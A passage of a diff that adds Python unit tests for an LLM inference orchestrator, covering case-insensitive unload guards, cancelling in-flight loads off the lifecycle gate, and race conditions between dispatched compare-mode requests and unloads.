+    # to /unload (the load path canonicalizes casing). The stale-name guard must
+    # match case-insensitively too; otherwise it no-ops the unload and leaves the
+    # model resident while reporting success.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    sent = []
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd))
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+
+    o.active_model_name = "unsloth/Qwen3-4B"
+    o.models = {"unsloth/Qwen3-4B": {}}
+
+    # Client unloads with the casing it originally typed, before canonicalization.
+    assert o.unload_model("unsloth/qwen3-4b") is True
+    # The guard did not no-op: an unload for the canonical active model reached
+    # the worker (not the raw lowercase name, so the worker matches it directly).
+    assert {"type": "unload", "model_name": "unsloth/Qwen3-4B"} in sent
+    # Local state is cleared for the canonical name, not left stale.
+    assert o.active_model_name is None
+    assert o.models == {}
+
+
+def test_unload_of_stale_name_still_no_ops_after_case_insensitive_match(monkeypatch):
+    # The case-insensitive match must only rescue the active model; a genuinely
+    # different model name (case-insensitively too) must still no-op so the
+    # worker's absent-name fallback can't tear down the active model.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send an unload for a stale model name")
+    )
+    o.active_model_name = "unsloth/Qwen3-4B"
+    o.models = {"unsloth/Qwen3-4B": {}}
+
+    assert o.unload_model("unsloth/Llama-3.1-8B") is True
+    assert o.active_model_name == "unsloth/Qwen3-4B"
+    assert "unsloth/Qwen3-4B" in o.models
+
+
+def test_load_does_not_accumulate_stale_models_defeating_the_unload_guard(monkeypatch):
+    # A load always spawns a fresh subprocess holding only the new model, so
+    # self.models must mirror that instead of accumulating the previous model's name.
+    # Otherwise switching A -> B leaves 'A' in self.models, so a later unload('A')
+    # passes the "not in self.models" guard and the worker's absent-name fallback
+    # unloads the *active* model B.
+    import types
+
+    from utils import transformers_version as _tv
+
+    o = _bare_orchestrator()
+    o.active_model_name = None
+    o.models = {}
+
+    monkeypatch.setattr(_tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda *a, **k: ([], {}))
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: None)
+    monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: None)
+    monkeypatch.setattr(orch_mod.time, "sleep", lambda *_a, **_k: None)
+
+    def _load(name):
+        monkeypatch.setattr(
+            o,
+            "_wait_response",
+            lambda expected, timeout = 300.0: {
+                "type": "loaded",
+                "success": True,
+                "model_info": {"identifier": name, "display_name": name},
+            },
+        )
+        assert o.load_model(types.SimpleNamespace(identifier = name, gguf_variant = None)) is True
+
+    _load("modelA")
+    _load("modelB")  # switch to B without unloading A first
+
+    # self.models mirrors the single live model; the swapped-out name is gone.
+    assert o.active_model_name == "modelB"
+    assert set(o.models) == {"modelB"}
+
+    # A stale unload of the swapped-out model must not reach the worker (whose
+    # absent-name fallback would unload the active model B).
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: pytest.fail("stale unload reached the worker"))
+    assert o.unload_model("modelA") is True
+    assert o.active_model_name == "modelB"
+    assert "modelB" in o.models
+
+
+def test_unload_route_serializes_with_loads_via_lifecycle_gate(monkeypatch):
+    # Item #5: /unload must hold the same lifecycle gate as /load so a concurrent load
+    # can't swap the backend subprocess/queues mid-unload.
+    import asyncio
+
+    import routes.inference as inference_route
+    from core.inference import llama_keepwarm as kw
+    from models.inference import UnloadRequest
+
+    class _Llama:
+        is_active = False
+        is_loaded = False
+        model_identifier = None
+
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: _Llama())
+    monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False)
+
+    unloaded: list = []
+
+    class _Backend:
+        active_model_name = "m"
+        models = {"m": {}}
+
+        def unload_model(self, name):
+            unloaded.append(name)
+            return True
+
+    monkeypatch.setattr(inference_route, "get_inference_backend", lambda: _Backend())
+
+    async def scenario():
+        # Hold the real gate, exactly as an in-flight /load would.
+        assert kw._lifecycle_lock.acquire(blocking = False)
+        try:
+            task = asyncio.ensure_future(
+                inference_route.unload_model(UnloadRequest(model_path = "m"), "tester")
+            )
+            # Yield to the loop repeatedly: the route must stay blocked on the gate.
+            for _ in range(10):
+                await asyncio.sleep(0.01)
+            assert unloaded == [], "unload ran while the lifecycle gate was held"
+            assert not task.done()
+        finally:
+            kw._lifecycle_lock.release()
+        resp = await task
+        assert resp.status == "unloaded"
+        assert unloaded == ["m"]
+
+    asyncio.run(scenario())
+
+
+# ----------------------------------------------------------------------------
+# Cancel an in-flight load OFF the lifecycle gate (Stop-loading regression).
+# /load holds the gate for the whole load, so a gated /unload could never
+# interrupt it; cancel_load only tears the loading subprocess down.
+# ----------------------------------------------------------------------------
+
+
+def test_cancel_load_terminates_loading_subprocess_and_sends_no_command(monkeypatch):
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = None
+    o.models = {}
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("cancel_load must not send a worker command")
+    )
+
+    assert o.cancel_load("m") is True
+    assert shutdown, "must tear the loading subprocess down"
+    assert "m" not in o.loading_models
+    assert o.active_model_name is None
+    # A name that is not loading -> no-op, returns False so the caller takes the gate.
+    assert o.cancel_load("other") is False
+
+
+def test_cancel_load_matches_loading_model_case_insensitively(monkeypatch):
+    o = _bare_orchestrator()
+    o.loading_models = {"unsloth/Qwen3-4B"}
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: None)
+
+    assert o.cancel_load("unsloth/qwen3-4b") is True
+    assert o.loading_models == set()
+
+
+def test_unload_model_cancels_a_loading_model_via_cancel_load(monkeypatch):
+    # unload_model still cancels an in-flight load (shared logic with cancel_load).
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = None
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send a command to cancel a load")
+    )
+
+    assert o.unload_model("m") is True
+    assert shutdown
+    assert "m" not in o.loading_models
+
+
+def test_unload_route_cancels_in_flight_load_without_waiting_on_gate(monkeypatch):
+    # The regression: /unload wrapped its whole body in the lifecycle gate, so the
+    # Stop-loading button (cancelLoading -> /unload) could not interrupt a safetensors
+    # load that holds the gate for its full duration. The cancel must run off-gate.
+    import asyncio
+
+    import routes.inference as inference_route
+    from core.inference import llama_keepwarm as kw
+    from models.inference import UnloadRequest
+
+    class _Llama:
+        is_active = False
+        is_loaded = False
+        model_identifier = None
+
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: _Llama())
+    monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False)
+
+    cancelled: list = []
+
+    class _Backend:
+        active_model_name = None
+        models: dict = {}
+
+        def get_loading_model(self):
+            return "m"
+
+        def cancel_load(self, name):
+            cancelled.append(name)
+            return True
+
+        def unload_model(self, name):
+            pytest.fail("must not take the gated unload path for a still-loading model")
+
+    monkeypatch.setattr(inference_route, "get_inference_backend", lambda: _Backend())
+
+    async def scenario():
+        # Hold the real gate, exactly as an in-flight /load would.
+        assert kw._lifecycle_lock.acquire(blocking = False)
+        try:
+            # Even with the gate held, the loading-cancel must go through.
+            resp = await inference_route.unload_model(UnloadRequest(model_path = "m"), "tester")
+            assert resp.status == "unloaded"
+            assert cancelled == ["m"]
+        finally:
+            kw._lifecycle_lock.release()
+
+    asyncio.run(scenario())
+
+
+# ----------------------------------------------------------------------------
+# A dispatched (compare-mode) request that races an unload must not orphan its
+# mailbox after _wait_dispatcher_idle stops the dispatcher.
+# ----------------------------------------------------------------------------
+
+
+def test_dispatched_bails_when_unload_flips_before_mailbox_registration(monkeypatch):
+    # The request passes the pre-work _unload_pending check, then an unload sets
+    # _unload_pending and _wait_dispatcher_idle stops the dispatcher (mailboxes empty)
+    # before this request registers its mailbox. The recheck under _mailbox_lock must
+    # make it bail, or the worker's skipped-generate reply has nothing to route it and
+    # the compare stream hangs on an orphaned mailbox.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+
+    # Flip the unload flag after the pre-work check (626) but before mailbox
+    # registration -- exactly the window _wait_dispatcher_idle exploits.
+    def flip(*a, **k):
+        o._unload_pending = True
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", flip)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert o._mailboxes == {}, "must not leave an orphaned mailbox"
+
+
+# ----------------------------------------------------------------------------
+# Dispatched path: bail when a cleared-pending unload swapped the model or
+# tore the dispatcher down during the pre-registration window -- item #2.
+# ----------------------------------------------------------------------------
+
+
+class _AliveDispatcher:
+    """Stand-in dispatcher thread that reports itself alive."""
+
+    def is_alive(self):
+        return True
+
+
+def test_dispatched_bails_when_model_swapped_before_mailbox_registration(monkeypatch):
+    # The request passes the pre-work checks, then a full unload+reload completes
+    # (clearing _unload_pending) before this request registers its mailbox. The
+    # under-lock recheck must notice active_model_name changed and bail, instead of
+    # sending a generate that lands on the swapped-in model.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = _AliveDispatcher()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+
+    # Swap the active model after the pre-work check but before registration,
+    # with _unload_pending already back to False (the unload finally ran).
+    def swap(*a, **k):
+        o.active_model_name = "other"
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", swap)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not generate on the swapped-in model")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert o._mailboxes == {}, "must not leave an orphaned mailbox"
+
+
+def test_dispatched_bails_when_dispatcher_stopped_before_mailbox_registration(monkeypatch):
+    # Same window, but the unload was a same-model reload so active_model_name is
+    # unchanged; the give-away is that the dispatcher was stopped. Registering a
+    # mailbox with no dispatcher to route the reply would hang the compare stream.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = _AliveDispatcher()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+
+    def stop_dispatcher(*a, **k):
+        o._dispatcher_thread = None  # unload's _stop_dispatcher cleared it
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", stop_dispatcher)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not generate with the dispatcher stopped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert o._mailboxes == {}, "must not leave an orphaned mailbox"
+
+
+def test_dispatched_happy_path_registers_and_sends(monkeypatch):
+    # Guard against a false bail: with the model unchanged and the dispatcher alive,
+    # the recheck must let the generate through (register a mailbox and send).
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = _AliveDispatcher()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+    monkeypatch.setattr(
+        o, "_build_generate_cmd", lambda *a, **k: {"type": "generate", "request_id": "r1"}
+    )
+    sent = []
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd))
+
+    # Feed one gen_done so the consumer returns promptly.
+    def fake_consume(read_mailbox, drainer, **k):
+        mbox = o._mailboxes.get("r1")
+        if mbox is not None:
+            mbox.put({"type": "gen_done", "request_id": "r1"})
+        yield ""
+
+    monkeypatch.setattr(o, "_consume_token_stream", fake_consume)
+
+    list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert sent, "happy path must send the generate command"
+    assert o._mailboxes == {}, "mailbox popped in finally"
+
+
+# ----------------------------------------------------------------------------
+# load_model observes a cancel that discarded its loading marker -- item #4.
+# ----------------------------------------------------------------------------
+
+
+def test_load_model_aborts_when_cancelled_before_spawn(monkeypatch):
+    # Stop-loading during GPU placement discards the loading marker (cancel_load) with
+    # no child yet to kill. load_model must observe the removal and not spawn a worker
+    # that loads the model after /unload already reported it unloaded.
+    o = _bare_orchestrator()
+    o.active_model_name = None
+    o.models = {}
+    o.loading_models = set()
+    o._proc = None
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: None)
+    monkeypatch.setattr(
+        o, "_spawn_subprocess", lambda cfg: pytest.fail("must not spawn a worker after a cancel")
+    )
+
+    import utils.transformers_version as tv
+
+    monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False)
+
+    # cancel_load discards the marker while we resolve GPU placement.
+    def cancel_during_gpu(gpu_ids, **k):
+        o.loading_models.discard("m")
+        return ([0], "sel")
+
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", cancel_during_gpu)
+
+    class _Cfg:
+        identifier = "m"
+
+    ok = o.load_model(_Cfg())
+
+    assert ok is False
+    assert o.active_model_name is None
+    assert o.models == {}
+
+
+def test_load_model_aborts_when_old_worker_survives_shutdown(monkeypatch):
+    # A wedged worker that outlives terminate/kill makes _shutdown_subprocess return
+    # False. load_model must not spawn a second worker over it (double GPU allocation +
+    # the survivor's handle is lost); it aborts so the load can retry once it exits.
+    import types
+
+    from utils import transformers_version as tv
+
+    o = _bare_orchestrator()
+    o.active_model_name = "old"
+    o.models = {"old": {}}
+    o.loading_models = set()
+    monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda *a, **k: ([0], "sel"))
+    monkeypatch.setattr(orch_mod.time, "sleep", lambda *_a, **_k: None)
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_cancel_generation", lambda: None)
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: False)  # survivor
+    monkeypatch.setattr(
+        o, "_spawn_subprocess", lambda cfg: pytest.fail("must not spawn over a live survivor")
+    )
+
+    with pytest.raises(RuntimeError, match = "did not exit"):
+        o.load_model(types.SimpleNamespace(identifier = "new", gguf_variant = None))
+    # The except path cleared the loading marker and mirrors.
+    assert "new" not in o.loading_models
+    assert o.active_model_name is None
+
+
+def test_load_model_proceeds_when_not_cancelled(monkeypatch):
+    # Guard against a false abort: an uncancelled load keeps its marker and spawns.
+    o = _bare_orchestrator()
+    o.active_model_name = None
+    o.models = {}
+    o.loading_models = set()
+    o._proc = None
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: None)
+
+    spawned = []
+    monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: spawned.append(cfg))
+    monkeypatch.setattr(
+        o,
+        "_wait_response",
+        lambda t, timeout = 300.0: {"success": True, "model_info": {"identifier": "m"}},
+    )
+
+    import utils.transformers_version as tv
+
+    monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda gpu_ids, **k: ([0], "sel"))
+
+    class _Cfg:
+        identifier = "m"
+
+    ok = o.load_model(_Cfg())
+
+    assert ok is True
+    assert spawned, "uncancelled load must spawn a worker"
+    assert o.active_model_name == "m"
+
+
+def test_load_model_aborts_when_cancelled_during_spawn(monkeypatch):
+    # Stop-loading can land AFTER the pre-spawn marker recheck but while
+    # _spawn_subprocess is still creating the queues/process, so cancel_load's
+    # _shutdown_subprocess finds _proc not yet alive and no-ops. load_model must
+    # recheck the marker once the child exists and tear the orphaned worker down,
+    # instead of waiting for "loaded" and publishing a model /unload already
+    # reported as unloaded (a live subprocess nothing later reaps).
+    import types
+
+    from utils import transformers_version as tv
+
+    o = _bare_orchestrator()
+    o.active_model_name = None
+    o.models = {}
+    o.loading_models = {"m"}
+    o._proc = None
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda gpu_ids, **k: ([0], "sel"))
+
+    # The cancel lands during the spawn window: cancel_load already discarded the
+    # marker, but its teardown no-oped because _proc was not alive yet.
+    def spawn_then_cancel(cfg):
+        o.loading_models.discard("m")
+
+    monkeypatch.setattr(o, "_spawn_subprocess", spawn_then_cancel)
+
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(
+        o,
+        "_wait_response",
+        lambda t, timeout = 300.0: pytest.fail(
+            "must not wait for 'loaded' after a cancel during spawn"
+        ),
+    )
+
+    ok = o.load_model(types.SimpleNamespace(identifier = "m", gguf_variant = None))
+
+    assert ok is False
+    assert shutdown, "must tear the orphaned worker down"
+    assert o.active_model_name is None
+    assert o.models == {}
+    assert "m" not in o.loading_models
+
+
+# ----------------------------------------------------------------------------
+# /unload cancels a still-loading GGUF off the lifecycle gate -- item #1.
+# ----------------------------------------------------------------------------
+
+
+def test_unload_cancels_loading_gguf_off_gate(monkeypatch):
+    # A still-loading GGUF (is_active, not is_loaded) must be cancelled off the gate:
+    # /load holds the lifecycle gate for the whole load, so a gated unload would wait
+    # it out. Assert the gate is never entered and unload_model() runs.
+    import asyncio as _asyncio
+
+    import routes.inference as ri
+    from core.inference import llama_keepwarm
+
+    gate_entered = {"v": False}
+
+    class _Gate:
+        async def __aenter__(self):
+            gate_entered["v"] = True
+            return self
+
+        async def __aexit__(self, *a):
+            return False
+
+    class _LlamaBackend:
+        is_active = True
+        is_loaded = False
+        model_identifier = "gguf-model"
+
+        def __init__(self):
+            self.unloaded = False
+
+        def unload_model(self):
+            self.unloaded = True
+
+    llama = _LlamaBackend()
+
+    class _Unsloth:
+        def get_loading_model(self):
+            return None  # no Unsloth load in flight -> Unsloth fast path skipped
+
+    monkeypatch.setattr(ri, "get_llama_cpp_backend", lambda: llama)
+    monkeypatch.setattr(ri, "get_inference_backend", lambda: _Unsloth())
+    monkeypatch.setattr(llama_keepwarm, "inference_lifecycle_gate", lambda: _Gate())
+    monkeypatch.setattr(llama_keepwarm, "note_model_unloaded", lambda: None)
+
+    req = ri.UnloadRequest(model_path = "gguf-model")
+    resp = _asyncio.run(ri.unload_model(req, current_subject = "s"))
+
+    assert getattr(resp, "status", None) == "unloaded"
+    assert llama.unloaded is True, "must cancel the loading GGUF via unload_model()"
+    assert gate_entered["v"] is False, "must handle the loading GGUF off the lifecycle gate"
+
+
+def test_unload_loaded_gguf_still_uses_gate(monkeypatch):
+    # Guard: an already-loaded GGUF (is_loaded True) is NOT caught by the off-gate
+    # fast path; it goes through the gate as before.
+    import asyncio as _asyncio
+
+    import routes.inference as ri
+    from core.inference import llama_keepwarm
+
+    gate_entered = {"v": False}
+
+    class _Gate:
+        async def __aenter__(self):
+            gate_entered["v"] = True
+            return self
+
+        async def __aexit__(self, *a):
+            return False
+
+    class _LlamaBackend:
+        is_active = True
+        is_loaded = True
+        model_identifier = "gguf-model"
+
+        def __init__(self):
+            self.unloaded = False
+
+        def unload_model(self):
+            self.unloaded = True
+
+    llama = _LlamaBackend()
+
+    class _Unsloth:
+        def get_loading_model(self):
+            return None
+
+    monkeypatch.setattr(ri, "get_llama_cpp_backend", lambda: llama)
+    monkeypatch.setattr(ri, "get_inference_backend", lambda: _Unsloth())
+    monkeypatch.setattr(ri, "is_registered_native_path_label", lambda a, b: False)
+    monkeypatch.setattr(llama_keepwarm, "inference_lifecycle_gate", lambda: _Gate())
+    monkeypatch.setattr(llama_keepwarm, "note_model_unloaded", lambda: None)
+
+    req = ri.UnloadRequest(model_path = "gguf-model")
+    resp = _asyncio.run(ri.unload_model(req, current_subject = "s"))
+
+    assert getattr(resp, "status", None) == "unloaded"
+    assert llama.unloaded is True
+    assert gate_entered["v"] is True, "loaded GGUF unload must still take the gate"
+
+
+def test_unload_of_mismatched_loading_gguf_skips_off_gate_fast_path(monkeypatch):
+    # A still-loading GGUF X (is_active, not is_loaded) must NOT be torn down by the
+    # off-gate fast path when /unload names a DIFFERENT model Y. The single llama-server
+    # can only load one GGUF at a time, so this fast path is "stop loading THIS model";
+    # without a target check it fires for any in-flight GGUF and would abort an unrelated
+    # load (e.g. a second tab unloading Y kills the load of X). A mismatched target must
+    # fall through to the lifecycle gate (where, in production, it waits out X's /load and
+    # then no-ops) instead of taking the off-gate teardown.
+    import asyncio as _asyncio
+
+    import routes.inference as ri
+    from core.inference import llama_keepwarm
+
+    gate_entered = {"v": False}
+
+    class _Gate:
+        async def __aenter__(self):
+            gate_entered["v"] = True
+            return self
+
+        async def __aexit__(self, *a):
+            return False
+
+    class _LlamaBackend:
+        is_active = True
+        is_loaded = False
+        model_identifier = "gguf-X"
+
+        def __init__(self):
+            self.unloaded = False
+
+        def unload_model(self):
+            self.unloaded = True
+
+    llama = _LlamaBackend()
+
+    class _Unsloth:
+        def get_loading_model(self):
+            return None  # no Unsloth load in flight -> Unsloth fast path skipped
+
+    monkeypatch.setattr(ri, "get_llama_cpp_backend", lambda: llama)
+    monkeypatch.setattr(ri, "get_inference_backend", lambda: _Unsloth())
+    monkeypatch.setattr(ri, "is_registered_native_path_label", lambda a, b: False)
+    monkeypatch.setattr(llama_keepwarm, "inference_lifecycle_gate", lambda: _Gate())
+    monkeypatch.setattr(llama_keepwarm, "note_model_unloaded", lambda: None)
+
+    req = ri.UnloadRequest(model_path = "gguf-Y")  # different from the loading model X
+    _asyncio.run(ri.unload_model(req, current_subject = "s"))
+
+    assert gate_entered["v"] is True, (
+        "a mismatched-target unload must not use the off-gate GGUF fast path; "
+        "it would cancel the wrong in-flight load"
+    )
+
+
+# ----------------------------------------------------------------------------
+# cancel_load clears its loading marker BEFORE tearing the subprocess down, so a
+# racing off-gate load_model observes the cancel during the shutdown window.
+# ----------------------------------------------------------------------------
+
+
+def test_cancel_load_clears_marker_before_shutdown(monkeypatch):
+    # cancel_load runs off the lifecycle gate, concurrently with a load_model that
+    # rechecks the loading marker before each spawn to observe the cancel.
+    # _shutdown_subprocess can block (tearing a live child down / joining the compare
+    # dispatcher), so discarding the marker only AFTER it leaves a long window in which
+    # that load_model reads the marker still set, passes its pre-spawn recheck, and
+    # spawns + loads the model after /unload already reported it cancelled. The marker
+    # (and local state) must be cleared before the teardown.
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = "m"
+    o.models = {"m": {}}
+
+    at_shutdown = {}
+
+    def record_shutdown(timeout = 5):
+        at_shutdown["marker_present"] = "m" in o.loading_models
+        at_shutdown["active"] = o.active_model_name
+        at_shutdown["models"] = dict(o.models)
+
+    monkeypatch.setattr(o, "_shutdown_subprocess", record_shutdown)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("cancel_load must not send a worker command")
+    )
+
+    assert o.cancel_load("m") is True
+    assert at_shutdown.get("marker_present") is False, (
+        "the loading marker must be cleared before _shutdown_subprocess so a concurrent "
+        "load_model pre-spawn recheck observes the cancel during the shutdown window"
+    )
+    assert at_shutdown.get("active") is None
+    assert at_shutdown.get("models") == {}
+    assert "m" not in o.loading_models
+    assert o.active_model_name is None
+    assert o.models == {}
+
+
+def test_cancel_load_reclears_state_when_racing_load_repopulates_during_teardown(monkeypatch):
+    # cancel_load (off the lifecycle gate) can race a load_model whose worker already
+    # queued its successful "loaded" reply. cancel_load discards the loading marker and
+    # clears the local mirrors, then tears the subprocess down; but the still-running
+    # load_model thread can consume that "loaded" DURING the teardown window and repopulate
+    # active_model_name/models. _shutdown_subprocess nulls the queues but never touches those
+    # mirrors, so without a second clear /unload reports success while the backend keeps
+    # advertising a model whose worker was just killed. cancel_load must re-clear after the
+    # teardown so no phantom loaded model survives.
+    import types
+
+    from utils import transformers_version as _tv
+
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = None
+    o.models = {}
+    o._proc = None  # no prior subprocess -> load_model goes straight to the spawn loop
+
+    monkeypatch.setattr(_tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda *a, **k: ([], {}))
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: None)
+
+    parked = threading.Event()  # load_model is parked in _wait_response("loaded")
+    release_loaded = threading.Event()  # cancel_load lets the load consume "loaded"
+    load_done = threading.Event()
+
+    def blocking_wait_response(expected, timeout = 300.0):
+        parked.set()
+        assert release_loaded.wait(timeout = 5)
+        return {
+            "type": "loaded",
+            "success": True,
+            "model_info": {"identifier": "m", "display_name": "m"},
+        }
+
+    monkeypatch.setattr(o, "_wait_response", blocking_wait_response)
+
+    load_result: dict = {}
+
+    def run_load():
+        try:
+            load_result["ok"] = o.load_model(
+                types.SimpleNamespace(identifier = "m", gguf_variant = None)
+            )
+        except Exception as exc:  # noqa: BLE001
+            load_result["exc"] = exc
+        finally:
+            load_done.set()
+
+    loader = threading.Thread(target = run_load)
+    loader.start()
+    assert parked.wait(timeout = 5), "load_model must reach _wait_response"
+
+    # The teardown IS the window in which the racing load repopulates the mirrors: the
+    # marker is already discarded here, so release the load and wait for it to finish
+    # repopulating, mirroring the 0.5s cancel-settle inside the real _shutdown_subprocess.
+    def racing_shutdown(timeout = 0.5):
+        release_loaded.set()
+        assert load_done.wait(timeout = 5), "the racing load must repopulate during teardown"
+
+    monkeypatch.setattr(o, "_shutdown_subprocess", racing_shutdown)
+
+    assert o.cancel_load("m") is True
+    loader.join(timeout = 5)
+
+    # Fail-without: load_model set active_model_name/models during racing_shutdown and
+    # cancel_load left them set, so the backend advertises a model whose worker was killed.
+    assert o.active_model_name is None, "cancel_load must not leave a repopulated active model"
+    assert o.models == {}, "cancel_load must not leave a repopulated models mirror"
+    assert "m" not in o.loading_models
+
+
+# ----------------------------------------------------------------------------
+# A dispatched (compare-mode) request that starts the dispatcher and then bails on
+# a racing unload must stop the dispatcher it started, or that orphaned dispatcher
+# steals the worker's "unloaded" reply and hangs unload_model on its 300s timeout.
+# ----------------------------------------------------------------------------
+
+
+def test_dispatched_bail_stops_orphan_dispatcher_it_started(monkeypatch):
+    # The request passes the pre-work _unload_pending check and starts the dispatcher
+    # (none was running), then an unload sets _unload_pending so the under-lock recheck
+    # bails. The just-started dispatcher, left running with no mailboxes, competes with
+    # unload_model()'s _wait_response for the worker's "unloaded" reply off the shared
+    # resp_queue and drops it as unroutable, hanging the unload until its 300s timeout.
+    # The bail must stop the dispatcher it started.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = None  # none running -> this call starts it
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+
+    started = {"v": False}
+    stopped = {"v": False}
+
+    def fake_start():
+        started["v"] = True
+        o._dispatcher_thread = _AliveDispatcher()
+        return True  # _start_dispatcher returns True for the caller that spawned it
+
+    def fake_stop():
+        stopped["v"] = True
+        o._dispatcher_thread = None
+
+    monkeypatch.setattr(o, "_start_dispatcher", fake_start)
+    monkeypatch.setattr(o, "_stop_dispatcher", fake_stop)
+
+    # An unload flips _unload_pending after the pre-work check but before registration.
+    def flip(*a, **k):
+        o._unload_pending = True
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", flip)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert started["v"], "this call started the dispatcher"
+    assert stopped["v"], "the bail must stop the dispatcher it started (no other mailboxes)"
+    assert o._mailboxes == {}
+
+
+def test_dispatched_bail_keeps_dispatcher_with_other_active_mailbox(monkeypatch):
+    # Guard against over-stopping: if another compare request registered a mailbox on the
+    # dispatcher this call started, the bail must NOT stop it, or that request's token
+    # routing dies mid-stream.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = None
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_start_dispatcher", lambda: setattr(o, "_dispatcher_thread", _AliveDispatcher())
+    )
+    monkeypatch.setattr(
+        o,
+        "_stop_dispatcher",
